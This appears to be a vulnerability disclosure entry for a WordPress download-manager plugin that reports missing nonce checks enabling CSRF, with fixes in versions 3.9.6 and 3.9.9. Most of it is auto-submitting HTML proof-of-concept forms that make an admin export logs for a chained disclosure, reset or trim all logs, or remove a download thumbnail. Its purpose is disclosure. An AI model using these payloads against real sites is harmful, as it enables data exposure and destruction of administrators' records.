The plugin does not enforce nonce checks, which could allow attackers to perform CSRF attacks to 1) make admins export logs to exploit a separate log disclosure vulnerability (fixed in 3.9.6), 2) delete logs (fixed in 3.9.9), 3) remove thumbnail image from downloads
To export logs (which could then be downloaded by unauthenticated users using the Unauthenticated Log Access issue) - Fixed in 3.9.6 <form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs&action=sdm-logs-export" method="post" id="csrf"> <input type="hidden" name="sdm_stats_start_date" value="2021-08-31"> <input type="hidden" name="sdm_stats_end_date" value="2021-08-31"> <input type="hidden" name="sdm_export_log_entries" value="1"> </form> <script>csrf.submit()</script> To delete logs (fixed in 3.9.9): <form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs" method="post" id="csrf"> <input type="hidden" name="sdm_reset_log_entries" value="1"> </form> <script>csrf.submit()</script> <form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs" method="post" id="csrf"> <input type="hidden" name="sdm_trim_log_entries" value="1"> <!-- older than 0 days = basically all --> <input type="hidden" name="sdm_trim_log_entries_day" value="0"> </form> <script>csrf.submit()</script> To remove thumbnail image from downloads (fixed in 3.9.9) <form action="https://example.com/wp-admin/admin-ajax.php" method="post" id="csrf"> <input type="hidden" name="action" value="sdm_remove_thumbnail_image"> <!-- assuming download 612 has thumbnail --> <input type="hidden" name="post_id_del" value="612"> </form> <script>csrf.submit()</script>
apple502j
apple502j
Yes
2021-12-21 (about 1 years ago)
2021-12-21 (about 1 years ago)
2022-04-13 (about 9 months ago)